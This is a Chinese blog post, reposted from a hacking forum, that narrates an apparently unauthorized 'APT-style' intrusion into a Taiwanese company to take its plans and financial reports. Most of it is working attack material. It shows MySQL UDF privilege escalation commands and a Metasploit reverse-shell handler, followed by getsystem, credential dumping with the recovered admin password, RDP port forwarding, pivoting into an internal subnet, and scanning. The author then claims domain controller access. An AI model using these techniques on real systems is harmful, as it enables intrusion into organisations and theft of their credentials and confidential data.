【连载】第一章：亚洲-台湾（1）
此文转载自90sec.仅作好文推荐。从本文可以学到很多知识，比如渗透时的明确目标、msf使用、渗透思路等等。声明：本博客所有渗透测试都以模拟任务为点，以实战出发来探讨APT攻击，来讲述网络安全在今后的重要性，所有实战攻击都点到为止，并未破坏，下载，删除，更改，任何个人，组织，公司内部文件。作者的话：计划是从亚洲各个国家开始，每个国家挑选一个具有针对性的公司/组织，以模拟任务为由，以实战渗透为主探讨，每一章都以数日来完成，甚至数月。不保证文章定期更新时间。（为保证文章中公司的隐私，部分可能有马赛克，也由于是APT文章，具有一定的跨越时间，部分无截图）模拟任务：拿到该公司明年计划，拿到该公司今年报表，并且摸清该公司组织架构。盈利情况。第一个shell为目标主站shell，为08 R2，提权后遂改变主意。由于是以APT为主，并不打算以主站权限为点渗透，动作太大。不利于长期跟踪。改变为搜集情报为主。配合下一步工作。主站为2008 R2主站端口为搜集端口为该公司的其他分站提供了有力的下一步。进程搜集：红色为重点搜集源D:\> tasklist映像名稱 PID 工作階段名稱 工作階段 # RAM使用量========================= ======== ================ =========== ============System Idle Process 0 0 24 KSystem 4 0 372 Ksmss.exe 296 0 1,448 Kcsrss.exe 400 0 6,968 Kwininit.exe 452 0 5,636 Kcsrss.exe 460 1 12,460 Kwinlogon.exe 496 1 6,484 Kservices.exe 556 0 10,392 Klsass.exe 572 0 22,076 Klsm.exe 584 0 7,104 Ksvchost.exe 676 0 10,840 Ksvchost.exe 760 0 9,492 KLogonUI.exe 852 1 19,632 Ksvchost.exe 864 0 21,188 Ksvchost.exe 904 0 34,904 Ksvchost.exe 944 0 13,476 Ksvchost.exe 996 0 13,512 Ksvchost.exe 168 0 19,480 Ksvchost.exe 648 0 12,348 Kspoolsv.exe 1080 0 16,672 Karmsvc.exe 1124 0 4,208 Kapnmcp.exe 1172 0 5,832 Ksvchost.exe 1196 0 9,228 Kaspnet_state.exe 1224 0 8,264 KFileZilla Server.exe 1344 0 7,876 Ksvchost.exe 1380 0 10,408 Kinetinfo.exe 1412 0 31,680 KEngineServer.exe 1448 0 568 KFrameworkService.exe 1548 0 19,580 KVsTskMgr.exe 1612 0 1,724 KMDM.EXE 1680 0 6,652 KnaPrdMgr.exe 1692 0 2,116 Kmfevtps.exe 1720 0 992 Ksqlservr.exe 1760 0 13,284 Ksvchost.exe 1844 0 3,452 Ksnmp.exe 1868 0 9,264 Ksqlwriter.exe 1904 0 7,440 Kvmtoolsd.exe 1976 0 17,012 Ksnmp.exe 1988 0 3,164 Kconhost.exe 1996 0 4,784 Kvmware-converter-a.exe 2068 0 31,460 Kvmware-converter.exe 2180 0 38,176 Kvmware-converter.exe 2228 0 32,828 Ksvchost.exe 2288 0 14,152 KMcShield.exe 2320 0 89,332 Kmfeann.exe 2468 0 5,860 Kconhost.exe 2476 0 3,380 Kw3wp.exe 2592 0 160,760 Kw3wp.exe 2812 0 463,872 Ksvchost.exe 3452 0 9,656 Ksvchost.exe 4104 0 6,384 Kdllhost.exe 4252 0 12,192 Kmsdtc.exe 4424 0 8,708 Ksvchost.exe 4196 0 34,760 Kw3wp.exe 5604 0 12,632 KTrustedInstaller.exe 4500 0 11,788 Kcmd.exe 6292 0 3,932 Kconhost.exe 6384 0 4,476 Ktasklist.exe 1496 0 6,064 KWmiPrvSE.exe 5508 0 7,272 K账户搜集：（已处理）重要路径搜集：（无图，路径搜集为未来可能需要dump file做准备）数据库密码搜集：（无图，密码搜集为未来可能需要碰撞做准备）杀毒软件搜集：强力的麦咖啡管理员习惯搜集：（无图，尽量避免与admin的fvsf）（面对面的vs是不是这么拼写？）其他搜集：（由于是第一个shell，具体的已经忘记了）第二台服务器权限：window x86 2003根据上一台的服务器情报搜集很快得到了一台win03IP .3为一台开发机。目标仅支持asp，无其他脚本支持。但是服务器中安装有mysql，php等。并且无asp to mysql Device Drive IIS配置中也并不支持php。msf反弹后，继续搜集情报。type C:\MySQL\MySQL Server 5.0\data\mysql\user.MYD得到root hash在实际情况中，交互的shell下运行mysql -uroot -pxxx无法继续交互，需要参数e解决这个问题。mysql -uroot -pxxxxxxxx mysql -e "create table a (cmd LONGBLOB);"mysql -uroot -pxxxxxxxx mysql -e "insert into a (cmd) values (hex(load_file('C:\\xxxx\\xxxx.dll')));"mysql -uroot -pxxxxxxxx mysql -e "SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\xxxx.dll';"mysql -uroot -pxxxxxxxx mysql -e "CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'"mysql -uroot -pxxxxxxxx mysql -e "select shell('cmd','C:\\xxxx\\xxx\\xxxxx.exe');"如果限制上传大小同样可以hex解决上传大小问题。以下为部分msf操作实例msf >use exploit/multi/handlermsf exploit(handler) >set payload windows/meterpreter/reverse_tcpmsf exploit(handler) >exploit -lmeterpreter >psProcess List============PID PPID Name Arch Session User Path--- ---- ---- ---- ------- ---- ----0 0 [System Process]4 0 System x86 0 NT AUTHORITY\SYSTEM304 4 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe352 304 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe376 304 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe424 376 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe436 376 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe620 424 vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmacthlp.exe636 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe708 424 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe768 424 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe812 424 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe828 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe1000 424 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe1028 424 msdtc.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\msdtc.exe1160 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe1228 424 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe1252 424 sqlservr.exe x86 0 NT AUTHORITY\SYSTEM C:\PROGRA~1\MICROS~1\MSSQL\binn\sqlservr.exe1304 424 mysqld.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\MySQL\MySQL Server 5.1\bin\mysqld.exe1348 424 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe1408 424 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmtoolsd.exe1472 424 mssearch.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Common Files\System\MSSearch\Bin\mssearch.exe1720 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe2128 2084 explorer.exe x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\Explorer.EXE2208 2128 vmtoolsd.exe x86 0 xxxxxxxxxxxx\Administrator C:\Program Files\VMware\VMware Tools\vmtoolsd.exe2232 2128 ctfmon.exe x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\system32\ctfmon.exe2244 2128 sqlmangr.exe x86 0 xxxxxxxxxxxx\Administrator C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe2396 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe2440 424 dllhost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dllhost.exe3008 2128 cmd.exe x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\system32\cmd.exe3024 3008 conime.exe x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\system32\conime.exe3180 636 wmiprvse.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\wbem\wmiprvse.exe3248 828 wuauclt.exe x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\system32\wuauclt.exe3380 376 logon.scr x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\System32\logon.scrmeterpreter > migrate 2128Migrating from 3104 to 2128...Migration completed successfully.meterpreter > getsystem...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).meterpreter > getuidServer username: NT AUTHORITY\SYSTEMmeterpreter > msv[+] Running as SYSTEMRetrieving msv credentialsmsv credentials===============AuthID Package Domain User Password------ ------- ------ ---- --------0;109205 NTLM xxxxxxxxxxxx Administrator lm{ xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx }, ntlm{ xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx }0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{ xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx }, ntlm{ xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx }0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)0;54469 NTLM n.s. (Credentials KO)0;999 NTLM WORKGROUP xxxxxxxxxxxx$ n.s. (Credentials KO)meterpreter > kerberos[+] Running as SYSTEMRetrieving kerberos credentialskerberos credentials====================AuthID Package Domain User Password------ ------- ------ ---- --------0;996 Negotiate NT AUTHORITY NETWORK SERVICE0;997 Negotiate NT AUTHORITY LOCAL SERVICE0;54469 NTLM0;999 NTLM WORKGROUP xxxxxxxxxxxx$0;109205 NTLM xxxxxxxxxxxx Administrator 123456meterpreter > portfwd add -l 3389 -r x.x.x.x -p 3389 #IP已做处理Local TCP relay created: :3389 <-> x.x.x.x:3389meterpreter > portfwdActive Port Forwards====================Index Local Remote Direction----- ----- ------ ---------1 0.0.0.0:3389 x.x.x.x:3389 Forward1 total active port forwards.root@xxxx:/# rdesktop 127.0.0.1:3389Autoselected keyboard map en-usFailed to negotiate protocol, retrying with plain RDP.WARNING: Remote desktop does not support colour depth 24; falling back to 16meterpreter > run autoroute -hUsage: run autoroute [-r] -s subnet -n netmaskExamples:run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0run autoroute -s 10.10.10.1/24 # CIDR notation is also okayrun autoroute -p # Print active routing tablerun autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 routeUse the "route" and "ipconfig" Meterpreter commands to learn about available routes[-] Deprecation warning: This script has been replaced by the post/windows/manage/autoroute modulemeterpreter > ifconfigInterface 1============Name : MS TCP Loopback interfaceHardware MAC : 00:00:00:00:00:00MTU : 1520IPv4 Address : 127.0.0.1Interface 2============Name : Broadcom NetXtreme Gigabit Ethernet - McAfee NDIS Intermediate Filter MiniportHardware MAC : 00:11:25:40:77:8fMTU : 1500IPv4 Address : 10.23.255.3IPv4 Netmask : 255.255.255.0meterpreter > run autoroute -s 10.23.255.3 -n 255.255.255.0Adding a route to 10.23.255.3/255.255.255.0...[+] Added route to 10.23.255.3/255.255.255.0 via 61.57.243.227Use the -p option to list all active routesmeterpreter > run autoroute -pActive Routing Table====================Subnet Netmask Gateway------ ------- -------10.23.255.3 255.255.255.0 Session 3meterpreter > ifconfigInterface 1============Name : MS TCP Loopback interfaceHardware MAC : 00:00:00:00:00:00MTU : 1520IPv4 Address : 127.0.0.1Interface 2============Name : Broadcom NetXtreme Gigabit Ethernet - McAfee NDIS Intermediate Filter MiniportHardware MAC : 00:11:25:40:77:8fMTU : 1500IPv4 Address : 10.23.255.3IPv4 Netmask : 255.255.255.0meterpreter >Background session 3? [y/N]msf auxiliary(tcp) > use auxiliary/scanner/portscan/tcpmsf auxiliary(tcp) > show optionsModule options (auxiliary/scanner/portscan/tcp):Name Current Setting Required Description---- --------------- -------- -----------CONCURRENCY 10 yes The number of concurrent ports to check per hostDELAY 0 yes The delay between connections, per thread, in millisecondsJITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.PORTS 445,80,3389,22 yes Ports to scan (e.g. 22-25,80,110-900)RHOSTS 10.23.255.1-255 yes The target address range or CIDR identifierTHREADS 10 yes The number of concurrent threadsTIMEOUT 1000 yes The socket connecttimeout in milliseconds最终得到了域控权限，并且得到了跨段的服务器权限。得到了个人机的重要权限，以及公司财报doc。部分截图如下：由于时间问题，顺序可能打乱了。跳段，到个人机放弃权限，所有操作并未更改，下载，删除等一切损害该公司的行为。点到为止。具有时间周期的渗透，最糟糕的就是回忆截图，实战中，很多需要抢时间的地方，很难想起截图或者做笔记，下次争取录屏，来回忆。
查看原文：http://www.am0s.com/jchw/170.html
最新七牛云存储九折优惠码：61d1fd4d
浙公网安备 33010602011771号